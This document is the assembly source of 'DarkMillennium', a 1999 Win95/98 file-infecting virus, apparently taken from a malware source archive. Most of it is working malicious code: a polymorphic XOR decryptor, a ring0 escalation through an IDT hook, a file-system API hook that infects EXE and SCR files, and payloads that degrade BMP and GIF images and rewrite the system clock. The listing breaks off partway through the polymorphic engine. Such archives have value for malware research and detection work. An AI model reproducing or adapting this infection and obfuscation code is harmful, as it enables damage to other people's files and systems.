MalwareSourceCode/LegacyWindows/Win9x/Win9x.DarkMillennium.asm
2020-10-16 22:28:58 +02:00

2249 lines
48 KiB
NASM

; DarkMillennium Project
; developed by Clau / Ultimate Chaos
;
; The Project is a Win95/98 compatible virus.
; Also this is my first virus that infects PE files.
;
; Greets goes to all Ultimate Chaos members and all people in VX scene.
; Respect to all of you.
;
;----------------
; DESCRIPTION |
;----------------
;
; on program load :
; - it proccess a polymorphic decryptor
; - it is made in 2 parts
; - 1. Finding the key that encryption was made with (between 0 ... 65535)
; - 2. Decrypt the code with that key
; - check if it is already resident
; - if not, go into ring0
; - get memory with GetHeap
; - copy itself into allocated memory
; - hook the API (InstallFileSystemAPIhook)
; -return to host program
; on FS calls, if IFSFN_OPEN/IFSFN_RENAME/IFSFN_FILEATRIB
; - check if extension is EXE/SCR
; - check if the file format is PE
; - if so, infect the file
; - Generate random polymorphic decryptor, and write it to file
; - Encrypt the code with a simple XOR method using a random key witch is never saved
; It use only 2 bytes buffer for encryption, it encrypt 2 bytes at a time and write them
; into the file, until all the code is encrypted and written. This method is slower,
; but low memory is used.
; - check for a condition and if it is true then display a message box trough VxD call
; payloads, the condition is the number of infected files be equal to infected_nr_trigger
; - thanks goes to Midnyte (member of Ultimate Chaos, coder, GFXer) for helping me with this nice payload
; - on BMP and GIF open they will go darker and darker on every open
; - on some BMPs and GIFs the effect is more cool, I can say strange
;
;----------------------------------------
; Polymoprhic engine description |
;----------------------------------------
;
; This is my first poly engine.
; - random junk code
; - do nothing instructions (instructions that do not interfer with the decryptor)
; - they are 1, 2 or more bytes instructions, and more instructions combined
; - 1 byte - cmc, clc, stc, nop
; - 2 bytes - a range of INTs
; - > 2 bytes - it can generate random MOV, PUSH, POP ... infact all instructions
; that are used in decryptor, without interfering with the decryptor (it use regs
; that are not used in decrypt process)
; - more ways to do the same thing instructions
; example : MOV EAX, 12345678h <=> PUSH 12345678h
; POP EAX
; - the decryptor size can be ~ 3 times bigger then the original decryptor
; - if the decryptor is smaller then the decryptor before, the space between it and the encrypted code
; will be filled with junk.
;
;
; Compile with:
; tasm32 /m3 /ml darkmillennium.asm
; tlink32 /Tpe /aa /x darkmillennium.obj, darkmillennium.exe, , import32.lib
;
; report any bugs to clau@ultimatechaos.org
;
.386p
.model flat
extrn ExitProcess:proc
extrn MessageBoxA:proc
VxDCall macro vxd_id, service_id
int 20h
dw service_id
dw vxd_id
endm
IFSMgr = 0040h ; VxD service
GetHeap = 000dh
InstallFileSystemAPIhook = 0067h
Ring0_FileIO = 0032h
UniToBCSPath = 0041h
IFSFN_OPEN = 36
IFSFN_RENAME = 37
IFSFN_FILEATTRIB = 33
R0_opencreatefile = 0d500h ; open/create file
R0_readfile = 0d600h ; read a file, no context
R0_writefile = 0d601h ; write to a file, no context
R0_closefile = 0d700h ; close a file
exception_int = 3
exe_ext = 'EXE.'
scr_ext = 'RCS.'
bmp_ext = 'PMB.'
gif_ext = 'FIG.'
virussize = _end - Start
virussize_plus_buffers = virussize + ( _end_2 - _end )
polyengine_size = _end - GenDecryptor
infected_nr_trigger = 200
.code
Begin:
push 64
push offset w_title
push offset copyright
push 0
call MessageBoxA
jmp Start
.data
;-------------------- Start Code -------------------
Start: call Delta
Delta: mov esi, esp
mov ebp, dword ptr ss:[esi]
sub ebp, offset Delta
pushad
lea esi, [ebp + key - Start] ; address of code key
add esi, offset Start
xor di, di ; key for decryption
find_loop: inc di
mov ax, [esi] ; load code key in eax
xor ax, di ; decrypt it with the key from edi
cmp ax, 9090h ; check if edi key is OK
jnz find_loop ; if not jump to find_loop
; now edi = the key for decryption
lea esi, [ebp + Encr_Code - Start]
add esi, offset Start
mov ecx, virussize
decr_loop: xor word ptr [esi], di
add esi, 2
sub ecx, 2
cmp ecx, 1
jg decr_loop
popad
; "alocate" space equal to current decryptor size, incase that the next generated decryptors
; will be bigger, and it will be bigger then this one
; this space will be filled with random junk instructions
db ($ - offset Start) * 2 dup (90h) ; for big decryptors not overwrite Data Zone
Encr_Code:
key dw 9090h
jmp virus_code
;-------------------- Data Zone -------------------
IDT_Address dq 0
flag db 0
newaddress dd 0
exception dd 0
old_offset dd 0
filename db 260 dup (0)
handle dd 0
crt_move dd 0
peheader dd 0
S_Align dd 0
F_Align dd 0
sec_ptr dd 0
Old_EIP dd 0
SOI dd 0
virusplace dd 0
imagebase dd 0
infected_files dw 0
SEH_nextpointer dd ?
SEH_oldpointer dd ?
SEH_errorhandler dd ?
IMAGE_DOS_HEADER struc
MZ_magic dw ?
MZ_cblp dw ?
MZ_cp dw ?
MZ_crlc dw ?
MZ_cparhdr dw ?
MZ_minalloc dw ?
MZ_maxalloc dw ?
MZ_ss dw ?
MZ_sp dw ?
MZ_csum dw ?
MZ_ip dw ?
MZ_cs dw ?
MZ_lfarlc dw ?
MZ_ovno dw ?
MZ_res dw 4 dup (?)
MZ_oemid dw ?
MZ_oeminfo dw ?
MZ_res2 dw 10 dup (?)
MZ_lfanew dd ?
IMAGE_DOS_HEADER ends
IMAGE_DOS_HEADER_SIZE = SIZE IMAGE_DOS_HEADER
IMAGE_FILE_HEADER struc
PE_Magic dd ?
Machine dw ?
NumberOfSections dw ?
TimeDateStamp dd ?
PointerToSymbolTable dd ?
NumberOfSymbols dd ?
SizeOfOptionalHeader dw ?
Characteristics dw ?
IMAGE_FILE_HEADER ends
IMAGE_FILE_HEADER_SIZE = SIZE IMAGE_FILE_HEADER
IMAGE_DATA_DIRECTORY struc
dd_VirtualAddress dd ?
dd_Size dd ?
IMAGE_DATA_DIRECTORY ends
IMAGE_DIRECTORY_ENTRIES struc
DE_Export IMAGE_DATA_DIRECTORY ?
DE_Import IMAGE_DATA_DIRECTORY ?
DE_Resource IMAGE_DATA_DIRECTORY ?
DE_Exception IMAGE_DATA_DIRECTORY ?
DE_Security IMAGE_DATA_DIRECTORY ?
DE_BaseReloc IMAGE_DATA_DIRECTORY ?
DE_Debug IMAGE_DATA_DIRECTORY ?
DE_Copyright IMAGE_DATA_DIRECTORY ?
DE_GlobalPtr IMAGE_DATA_DIRECTORY ?
DE_TLS IMAGE_DATA_DIRECTORY ?
DE_LoadConfig IMAGE_DATA_DIRECTORY ?
DE_BoundImport IMAGE_DATA_DIRECTORY ?
DE_IAT IMAGE_DATA_DIRECTORY ?
IMAGE_DIRECTORY_ENTRIES ends
IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
IMAGE_OPTIONAL_HEADER struc
OH_Magic dw ?
OH_MajorLinkerVersion db ?
OH_MinorLinkerVersion db ?
OH_SizeOfCode dd ?
OH_SizeOfInitializedData dd ?
OH_SizeOfUninitializedData dd ? ; Uninitialized Data
OH_AddressOfEntryPoint dd byte ptr ? ; Initial EIP
OH_BaseOfCode dd byte ptr ? ; Code Virtual Address
OH_BaseOfData dd byte ptr ? ; Data Virtual Address
OH_ImageBase dd byte ptr ? ; Base of image
OH_SectionAlignment dd ? ; Section Alignment
OH_FileAlignment dd ? ; File Alignment
OH_MajorOperatingSystemVersion dw ? ; Major OS
OH_MinorOperatingSystemVersion dw ? ; Minor OS
OH_MajorImageVersion dw ? ; Major Image version
OH_MinorImageVersion dw ? ; Minor Image version
OH_MajorSubsystemVersion dw ? ; Major Subsys version
OH_MinorSubsystemVersion dw ?
OH_Win32VersionValue dd ? ; win32 version
OH_SizeOfImage dd ? ; Size of image
OH_SizeOfHeaders dd ? ; Size of Header
OH_CheckSum dd ? ; unused
OH_Subsystem dw ? ; Subsystem
OH_DllCharacteristics dw ? ; DLL characteristic
OH_SizeOfStackReserve dd ? ; Stack reserve
OH_SizeOfStackCommit dd ? ; Stack commit
OH_SizeOfHeapReserve dd ? ; Heap reserve
OH_SizeOfHeapCommit dd ? ; Heap commit
OH_LoaderFlags dd ? ; Loader flags
OH_NumberOfRvaAndSizes dd ? ; Number of directories
UNION ; directory entries
OH_DataDirectory IMAGE_DATA_DIRECTORY\
IMAGE_NUMBEROF_DIRECTORY_ENTRIES DUP (?)
OH_DirectoryEntries IMAGE_DIRECTORY_ENTRIES ?
ends
ends
IMAGE_OPTIONAL_HEADER_SIZE = SIZE IMAGE_OPTIONAL_HEADER
IMAGE_SECTION_HEADER struc
SH_Name db 8 dup (?)
UNION
SH_PhusicalAddress dd byte ptr ?
SH_VirtualSize dd ?
ends
SH_VirtualAddress dd byte ptr ?
SH_SizeOfRawData dd ?
SH_PointerToRawData dd byte ptr ?
SH_PointerToRelocations dd byte ptr ?
SH_PointerToLinenumbers dd byte ptr ?
SH_NumberOfRelocations dw ?
SH_NumberOfLinenumbers dw ?
SH_Characteristics dd ?
IMAGE_SECTION_HEADER ends
IMAGE_SECTION_HEADER_SIZE = SIZE IMAGE_SECTION_HEADER
mz_header IMAGE_DOS_HEADER ?
pe_header IMAGE_FILE_HEADER ?
oh_header IMAGE_OPTIONAL_HEADER ?
section IMAGE_SECTION_HEADER ?
;-------------------- Real Code Zone ------------------
virus_code: mov eax, dword ptr fs:[00h]
mov dword ptr [ebp + SEH_nextpointer], eax
mov dword ptr [ebp + SEH_oldpointer], eax
lea eax, [ebp + return_to_host]
mov dword ptr [ebp + SEH_errorhandler], eax
lea eax, [ebp + SEH_nextpointer]
mov dword ptr fs:[00h], eax
sidt [ebp + IDT_Address]
mov esi, dword ptr [ebp + IDT_Address + 2]
add esi, exception_int * 8
mov dword ptr [ebp + exception], esi
mov bx, word ptr [esi + 6]
shl ebx, 10h
mov bx, word ptr [esi]
mov dword ptr [ebp + old_offset], ebx
lea eax, [ebp + offset Ring0]
mov word ptr [esi], ax
shr eax, 10h
mov word ptr [esi + 6], ax
mov eax, 0c000e990h
cmp dword ptr [eax], '2000'
jne go_into_ring0
jmp already_installed
go_into_ring0: int exception_int ; This will jump us to Ring0 proc in ring0 mode
already_installed: mov esi, dword ptr [ebp + exception]
mov ebx, dword ptr [ebp + old_offset]
mov word ptr [esi], bx
shr ebx, 10h
mov word ptr [esi + 6], bx
return_to_host: mov eax, dword ptr [ebp + SEH_oldpointer]
mov dword ptr fs:[00h], eax
exit: cmp ebp, 0
je generation_1
mov eax, [ebp + Old_EIP]
add eax, [ebp + imagebase]
jmp eax
generation_1: push 0
call ExitProcess
Ring0 proc
pusha
; Get some memory
mov eax, virussize_plus_buffers + 100
push eax
patch1_val equ GetHeap + 256 * 256 * IFSMgr
patch1 label far
VxDCall IFSMgr, GetHeap
pop ecx
or eax, eax
jz no_free_mem
; Copy into memory
xchg eax, edi
lea esi, dword ptr [ebp + Start]
push edi
mov ecx, _end - Start
rep movsb
pop edi
mov dword ptr [ebp + newaddress], edi
mov dword ptr [edi + delta1 - Start], edi
; hook API
lea eax, [edi + API_hook - Start]
push eax
patch2_val equ InstallFileSystemAPIhook + 256 * 256 * IFSMgr
patch2 label far
VxDCall IFSMgr, InstallFileSystemAPIhook
pop ebx
mov [edi + nexthook - Start], eax
jmp success
no_free_mem: jmp back_to_ring3
success: mov eax, 0c000e990h
mov dword ptr [eax], '2000'
mov byte ptr [edi + flag - Start], 0
back_to_ring3: popad
iretd
Ring0 endp
API_hook: push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
push edi
db 0bfh
delta1 dd 0
cmp byte ptr [edi + flag - Start], 1
je over_now
cmp dword ptr [ebp + 12], IFSFN_OPEN ; open action
je action_ok
cmp dword ptr [ebp + 12], IFSFN_RENAME ; rename action
je action_ok
cmp dword ptr [ebp + 12], IFSFN_FILEATTRIB ; attributes action
je action_ok
jmp over_now
action_ok: mov byte ptr [edi + flag - Start], 1
pusha
lea esi, [edi + filename - Start]
mov eax, [ebp + 16]
cmp al, 0ffh
je no_path
add al, 40h
mov byte ptr [esi], al
inc esi
mov byte ptr [esi], ':'
inc esi
mov byte ptr [esi], '\'
; Unicode conversion
no_path: push 0 ; BCS/WANSI code
push 260 ; maximum filename
mov eax, [ebp + 28] ; get IOREQ
mov eax, [eax + 12]
add eax, 4
push eax ; push filename
push esi ; push destination
patch3_val equ UniToBCSPath + 256 * 256 * IFSMgr
patch3 label far
VxDCall IFSMgr, UniToBCSPath
add esp, 4 * 4
add esi, eax
mov byte ptr [esi], 0
; Check extension for '.EXE'
cmp dword ptr [esi - 4], exe_ext
je check_2
; Check extension for '.BMP'
cmp dword ptr [esi - 4], bmp_ext
jne check_gif_ext
call bmp_Payload
; Check extension for '.GIF'
check_gif_ext:
cmp dword ptr [esi - 4], gif_ext
jne check_scr_ext
call gif_Payload
; Check extension for '.SCR' = screensaver
check_scr_ext:
cmp dword ptr [esi - 4], scr_ext
jne not_exe
; Open the file
check_2: lea esi, [edi + filename - Start]
call file_open
jc not_exe
mov dword ptr [edi + handle - Start], eax
; Read DOS header
lea esi, [edi + mz_header - Start]
mov ebx, dword ptr [edi + handle - Start]
mov ecx, IMAGE_DOS_HEADER_SIZE
mov edx, 0
call file_read
; Check if really EXE file ( 'MZ' signature )
lea esi, [edi + mz_header - Start]
mov ax, word ptr [esi.MZ_magic]
cmp ax, 5a4dh
jne fileclose
; Locate the PE header
mov esi, dword ptr [esi.MZ_lfanew]
cmp esi, 500h
ja fileclose
; Save the pos of the PE header
mov dword ptr [edi + crt_move - Start], esi
mov dword ptr [edi + peheader - Start], esi
; Read the PE header
lea edx, [edi + pe_header - Start]
mov ebx, dword ptr [edi + handle - Start]
mov ecx, IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE
xchg esi, edx
call file_read
add dword ptr [edi + crt_move - Start], IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE
; Check for 'PE' signature
lea esi, [edi + pe_header - Start]
mov eax, dword ptr [esi.PE_Magic]
cmp eax, 00004550h
jne fileclose
; Check for DLL signature
cmp dword ptr [esi.Characteristics], 2000h
je fileclose
; Locate the last section and read it
xor eax, eax
mov ax, word ptr [esi.NumberOfSections]
mov ecx, IMAGE_SECTION_HEADER_SIZE
dec eax
mul ecx
mov esi, eax
add esi, dword ptr [edi + crt_move - Start]
mov dword ptr [edi + sec_ptr - Start], esi
; Read the last section
lea edx, [edi + section - Start]
mov ecx, IMAGE_SECTION_HEADER_SIZE
mov ebx, dword ptr [edi + handle - Start]
xchg esi, edx
call file_read
; Verify if already infected
lea esi, [edi +oh_header - Start]
cmp dword ptr [esi.OH_Win32VersionValue], '2000'
je fileclose
mov eax, dword ptr [esi.OH_SectionAlignment]
mov [edi + S_Align - Start], eax
mov eax, dword ptr [esi.OH_FileAlignment]
mov [edi + F_Align - Start], eax
mov eax, dword ptr [esi.OH_AddressOfEntryPoint]
mov [edi + Old_EIP - Start], eax
mov eax, dword ptr [esi.OH_SizeOfImage]
mov [edi + SOI - Start], eax
mov eax, dword ptr [esi.OH_ImageBase]
mov [edi + imagebase - Start], eax
; Update the section
lea esi, [edi + section - Start]
mov eax, dword ptr [esi.SH_PointerToRawData]
add eax, dword ptr [esi.SH_VirtualSize]
mov dword ptr [edi + virusplace - Start], eax
mov eax, dword ptr [edi.SH_SizeOfRawData]
add eax, virussize
mov ecx, dword ptr [edi + F_Align - Start]
push eax
push ecx
xor edx, edx
div ecx
pop ecx
sub ecx, edx
pop eax
add eax, ecx
mov dword ptr [esi.SH_SizeOfRawData], eax
mov eax, dword ptr [esi.SH_VirtualSize]
add eax, virussize
mov dword ptr [esi.SH_VirtualSize], eax
; Set the new characteristics for the section
or dword ptr [esi.SH_Characteristics], 00000020h ; code
or dword ptr [esi.SH_Characteristics], 20000000h ; executable
or dword ptr [esi.SH_Characteristics], 80000000h ; writable
; Update the PE header
; first the size of image wich is aligned to section alignment
lea esi, [edi + oh_header - Start]
mov eax, dword ptr [edi + SOI - Start]
add eax, virussize
mov ecx, dword ptr [edi + S_Align - Start]
push eax
push ecx
xor edx, edx
div ecx
pop ecx
sub ecx, edx
pop eax
add eax, ecx
mov dword ptr [esi.OH_SizeOfImage], eax
; Address of Entrypoint to our virus ( Old Virtual Address + New Virtual Size - Virus Size )
lea esi, [edi + section - Start]
mov eax, dword ptr [esi.SH_VirtualAddress]
add eax, dword ptr [esi.SH_VirtualSize]
sub eax, virussize
lea esi, [edi + oh_header - Start]
mov dword ptr [esi.OH_AddressOfEntryPoint], eax
; Mark the infection
mov dword ptr [esi.OH_Win32VersionValue], '2000'
; Write section to file
lea edx, [edi + section - Start]
mov ecx, IMAGE_SECTION_HEADER_SIZE
mov ebx, dword ptr [edi + handle - Start]
mov esi, dword ptr [edi + sec_ptr - Start]
xchg edx, esi
call file_write
; Write headers to file
lea edx, [edi + pe_header - Start]
mov ecx, IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE
mov ebx, dword ptr [edi + handle - Start]
mov esi, dword ptr [edi + peheader - Start]
xchg edx, esi
call file_write
; Patch the code
mov cx, 20cdh
mov word ptr [edi + patch1 - Start], cx
mov eax, patch1_val
mov dword ptr [edi + patch1 - Start + 2], eax
mov word ptr [edi + patch2 - Start], cx
mov eax, patch2_val
mov dword ptr [edi + patch2 - Start + 2], eax
mov word ptr [edi + patch3 - Start], cx
mov eax, patch3_val
mov dword ptr [edi + patch3 - Start + 2], eax
mov word ptr [edi + patch4 - Start], cx
mov eax, patch4_val
mov dword ptr [edi + patch4 - Start + 2], eax
mov word ptr [edi + patch5 - Start], cx
mov eax, patch5_val
mov dword ptr [edi + patch5 - Start + 2], eax
; reset the infected_files counter
mov ax, 0
mov word ptr [edi + infected_files - Start], ax
; Generate decryptor
pushad
mov ebp, edi
call GenDecryptor
popad
; Call Payload
call Payload
; Write decryptor
mov edx, edi
mov ecx, Encr_Code - Start
mov ebx, dword ptr [edi + handle - Start]
mov esi, dword ptr [edi + virusplace - Start]
xchg edx, esi
call file_write
mov edx, dword ptr [edi + virusplace - Start]
add edx, Encr_Code - Start
mov dword ptr [edi + virusplace - Start], edx ; update virusplace
; Get random key for encryption in cx
mov eax, 0FFFFh
call random_in_range ; will return in ax a random number
xchg ax, cx
; Write encrypted area to file
lea edx, [edi + Encr_Code - Start] ; location to copy and encrypt
xor eax, eax ; counter
write_loop: call copy_in_buffer
inc edx
inc edx
push eax ; save counter
push ecx ; save the key
push edx ; save location pointer in code
; Write buffer in file
mov ebx, dword ptr [edi + handle - Start]
mov ecx, 2
mov edx, dword ptr [edi + virusplace - Start]
lea esi, [edi + encryption_buffer - Start]
call file_write
mov edx, dword ptr [edi + virusplace - Start]
inc edx
inc edx
mov dword ptr [edi + virusplace - Start], edx
pop edx ; restore loc. pointer
pop ecx ; restore the key
pop eax ; restore counter
inc eax
inc eax
cmp eax, _end - Encr_Code
jle write_loop
; Close the file
fileclose: mov ebx, dword ptr [edi + handle - Start]
call file_close
not_exe: popa
over_now: mov byte ptr [edi + flag - Start], 0 ; Set flag to 0
mov eax, [ebp + 28]
push eax
mov eax, [ebp + 24]
push eax
mov eax, [ebp + 20]
push eax
mov eax, [ebp + 16]
push eax
mov eax, [ebp + 12]
push eax
mov eax, [ebp + 08]
push eax
db 0b8h
nexthook dd 0
call [eax]
add esp, 6 * 4
pop edi
pop esi
pop ebx
leave
ret
; Copy a word from code in encryption_buffer and encrypt it
; cx = key for encryption
; edx = pointer in code
copy_in_buffer proc
pushad
mov bx, word ptr [edx]
xor bx, cx
mov [edi + encryption_buffer - Start], bx
popad
ret
encryption_buffer dw 0
copy_in_buffer endp
get_rnd proc
push bx
xor bx, ax
xor bx, cx
xor bx, dx
xor bx, sp
xor bx, bp
xor bx, si
xor bx, di
in al, 40h
xor bl, al
in al, 40h
add bh, al
in al, 41h
sub bl, al
in al, 41h
xor bh, al
in al, 42h
add bl, al
in al, 42h
sub bh, al
xchg bx, ax
pop bx
ret
get_rnd endp
; Ring0 File_IO
;-------------------------
Ring0_File_IO proc
patch4_val equ Ring0_FileIO + 256 *256 * IFSMgr
patch4 label far
VxDCall IFSMgr, Ring0_FileIO
ret
Ring0_File_IO endp
file_open proc
mov bx, 2
mov cx, 0
mov dx, 1
mov eax, R0_opencreatefile
call Ring0_File_IO
ret
file_open endp
file_close proc
mov eax, R0_closefile
call Ring0_File_IO
ret
file_close endp
file_read proc
mov eax, R0_readfile
call Ring0_File_IO
ret
file_read endp
file_write proc
mov eax, R0_writefile
call Ring0_File_IO
ret
file_write endp
Payload proc
; Check the number of infected files
pushad
mov ax, word ptr [edi + infected_files - Start] ; check the number of infected files
inc ax ; increase the counter with 1
mov word ptr [edi + infected_files - Start], ax
cmp ax, infected_nr_trigger
jne not_yet
mov ax, 0 ; reset the counter
mov word ptr [edi + infected_files - Start], ax
; the counter will also be reseted at in every new infected file
; (on every infected_nr_trigger will trigger a message box)
lea eax, [edi + WinTitle - Start]
mov [edi + TitleOff - Start], eax
lea eax, [edi + WinText - Start]
mov [edi + TextOff - Start], eax
lea ebx, [edi + WinBox - Start]
patch5_val equ 001Ah + 256 * 256 * 002Ah
patch5 label far
VxDCall 002Ah, 001Ah
; give a try with random_in_range
; (number between 0 and 10000)
not_yet: mov eax, 10000
call random_in_range
cmp eax, 500
jg end_payload
; as you see if the random number =< 500 then test the PC for year 2000 compatibilite :)
; infact it will jump into year 2000
; the chances to do it are 5%
mov al, 07h
out 70h, al
mov al, 01h
out 71h, al ; day of the month
mov al, 08h
out 70h, al
mov al, 01h
out 71h, al ; month to January
mov al, 09h
out 70h, al
mov al, 00h
out 71h, al ; year (0 = 2000)
; by the way ... this is a good test, you will see if your computer is compatible with year 2000 ;)
; so i recommend you get infected with DarkMillennium
end_payload:popad
ret
WinBox dd ?
butt1 dw 0
butt2 dw 0001
butt3 dw 0
TitleOff dd offset WinTitle
TextOff dd offset WinText
WinTitle db 'DarkMillennium Project',0
WinText db 'DarkMillennium Project', 10, 'Copyright (C) 1999 by Clau/Ultimate Chaos', 10
db 'www.ultimatechaos.org', 10
db 'Greets to all VXers out there !', 0
Payload endp
copyright db 'DarkMillennium Project', 13, 10, 'Copyright (C) 1999 by Clau/Ultimate Chaos', 0
copyright_end:
bmp_Payload proc
pushad
; Open the file
lea esi, [edi + filename - Start]
call file_open
mov dword ptr [edi + handle - Start], eax
; Read file
lea esi, [edi + gfx_buffer - Start]
mov ebx, [edi + handle - Start]
mov ecx, 256
mov edx, 54
call file_read
; Change the things arround
lea esi, [edi + gfx_buffer - Start]
mov ecx, 256
bmp_dark: cmp byte ptr [esi], 5
jl bmp_color_1
sub byte ptr [esi], 5
bmp_color_1:inc esi
cmp byte ptr [esi], 5
jl bmp_color_2
sub byte ptr [esi], 5
bmp_color_2:inc esi
cmp byte ptr [esi], 5
jl bmp_color_out
sub byte ptr [esi], 5
bmp_color_out:
add esi, 2
sub ecx, 4
cmp ecx, 0
jne bmp_dark
; Write file
lea esi, [edi + gfx_buffer - Start]
mov ecx, 256
mov ebx, [edi + handle - Start]
mov edx, 54
call file_write
; Close file
mov ebx, [edi + handle - Start]
call file_close
popad
ret
bmp_Payload endp
gif_Payload proc
; Thanks goes to MidNyte for helping me with informations and code
pushad
; Open the file
lea esi, [edi + filename - Start]
call file_open
mov dword ptr [edi + handle - Start], eax
; Read file
lea esi, [edi + gfx_buffer - Start]
mov ebx, eax
mov ecx, 10Dh
mov edx, 0000h
call file_read
xor ecx, ecx
mov cl, byte ptr [edi + gfx_buffer + 000Ah - Start]
and cl, 00000111b
cmp cl, 0
je exit_gif_payload ; somethin' is wrong
mov ax, 2
get_colours:shl ax, 1
loop get_colours
mov cx, ax
shl ax, 1
add cx, ax
lea esi, [edi + gfx_buffer - Start]
add esi, 000Dh
push edi
mov edi, esi
darken: lodsb
cmp al, 14h
jb skip_entry
sub al, 14h
stosb
skip_entry: loop darken
pop edi
; Write buffer back to file
lea esi, [edi + gfx_buffer - Start]
mov ebx, [edi + handle - Start]
mov ecx, 10Dh
mov edx, 0 ; loc. to write in file
call file_write
exit_gif_payload:
; Close file
mov ebx, [edi + handle - Start]
call file_close
popad
ret
gif_Payload endp
; ------------------------------------------------------------
;| Poly Engine |
; ------------------------------------------------------------
; Generate decryptor
; EBP = location for decryptor
GenDecryptor proc
xchg ebp, edi
call InitRegGenerator
call GenerateRegisters
; call 00000000h
mov al, 0E8h
stosb
mov eax, 00000000h
stosd
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; mov reg1, ESP
mov cl, byte ptr [ebp + reg_1 - Start]
mov ch, 04h ; ESP
mov ax, 0001h
xchg ebp, edi
call GenPutX1X2
xchg ebp, edi
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; mov reg_2, ss:[reg_1]
mov cl, byte ptr [ebp + reg_2 - Start]
mov ch, byte ptr [ebp + reg_1 - Start]
mov ax, 0101h
xchg ebp, edi
call GenPutX1X2
xchg ebp, edi
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; sub reg_2, offset Delta
mov al, 81h
stosb
mov al, byte ptr [ebp + reg_2 - Start]
add al, 0E8h
stosb
mov eax, offset Delta
stosd
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; xchg reg_2, ebp
mov al, 87h
stosb
mov al, byte ptr [ebp + reg_2 - Start]
add al, 0E8h
stosb
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
call GenerateRegisters
; pushad
mov al, 60h
stosb
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; lea reg_1, [ebp + key - Start] -> key offset will be setted later
mov al, 8Dh
stosb
mov al, byte ptr [ebp + reg_1 - Start]
mov ebx, 8
mul ebx
add al, 85h
stosb
mov [ebp + var2 - Start], edi ; save EDI offset, for later use
mov eax, 00000000h
stosd
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; add reg_1, offset Start
mov al, 81h
stosb
mov al, byte ptr [ebp + reg_1 - Start]
add al, 0C0h
stosb
mov eax, offset Start
stosd
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; xor reg_2, reg_2
mov al, 33h
stosb
mov al, byte ptr [ebp + reg_2 - Start]
mov ecx, eax
mov ebx, 8
mul ebx
add al, cl
add al, 0C0h
stosb
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; inc reg_2
mov [ebp + var1 - Start], edi ; save in var1 current pos for future use
mov al, 40h
add al, byte ptr [ebp + reg_2 - Start]
stosb
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; mov reg_3, [reg_1]
mov al, byte ptr [ebp + reg_3 - Start]
mov cl, al
mov ch, byte ptr [ebp + reg_1 - Start]
mov ax, 0100h
xchg ebp, edi
call GenPutX1X2
xchg ebp, edi
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; xor reg_3, reg_2
mov ax, 3366h
stosw
mov al, byte ptr [ebp + reg_3 - Start]
mov ebx, 8
mul ebx
add al, byte ptr [ebp + reg_2 - Start]
add al, 0C0h
stosb
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; cmp reg3, 9090h
mov ax, 8166h
stosw
mov al, byte ptr [ebp + reg_3 - Start]
add al, 0F8h
stosb
mov ax, 9090h
stosw
; jne -inc reg_2 line-
mov al, 75h
stosb
mov eax, [ebp + var1 - Start]
sub eax, edi
dec eax ; now JNE points to INC DI line
stosb
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; Save the number of register that contain the key for decryption
mov al, [ebp + reg_2 - Start]
mov [ebp + reg_key - Start], al
call GenerateRegisters
call GenerateFuckRegs
; lea reg_1, [ebp + key - Start] -> key offset will be setted later
mov al, 8Dh
stosb
mov al, byte ptr [ebp + reg_1 - Start]
mov ebx, 8
mul ebx
add al, 85h
stosb
mov [ebp + var3 - Start], edi ; save EDI offset, for later use
mov eax, 00000000h
stosd
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; add reg_1, offset Start
mov al, 81h
stosb
mov al, byte ptr [ebp + reg_1 - Start]
add al, 0C0h
stosb
mov eax, offset Start
stosd
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; mov reg_2, virussize
mov cl, byte ptr [ebp + reg_2 - Start]
mov ch, 0FFh
mov edx, virussize
mov ax, 0101h
xchg ebp, edi
call GenPutX1X2
xchg ebp, edi
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; xor [reg_1], reg_key
mov [ebp + var4 - Start], edi
mov ax, 3166h
stosw
xor eax, eax
mov al, byte ptr [ebp + reg_key - Start]
mov ebx, 8
mul ebx
add al, byte ptr [ebp + reg_1 - Start]
stosb
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; inc reg_1
mov al, 40h
add al, byte ptr [ebp + reg_1 - Start]
stosb
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; inc reg_1
mov al, 40h
add al, byte ptr [ebp + reg_1 - Start]
stosb
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; dec reg_2
mov al, 48h
add al, byte ptr [ebp + reg_2 - Start]
stosb
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; dec reg_2
mov al, 48h
add al, byte ptr [ebp + reg_2 - Start]
stosb
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; cmp reg_2, 1
mov al, 83h
stosb
mov al, 0F8h
add al, byte ptr [ebp + reg_2 - Start]
stosb
mov al, 01
stosb
; jg -- xor [reg_1], reg_key -- line
mov al, 07Fh
stosb
mov ax, [ebp + var4 - Start]
sub eax, edi
dec eax
stosb
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; popad
mov al, 61h
stosb
; Generate Junk
xchg ebp, edi
call GenerateJunk
xchg ebp, edi
; key word for decryption
mov esi, [ebp + var2 - Start]
lea eax, key
mov byte ptr [esi], al
mov esi, [ebp + var3 - Start]
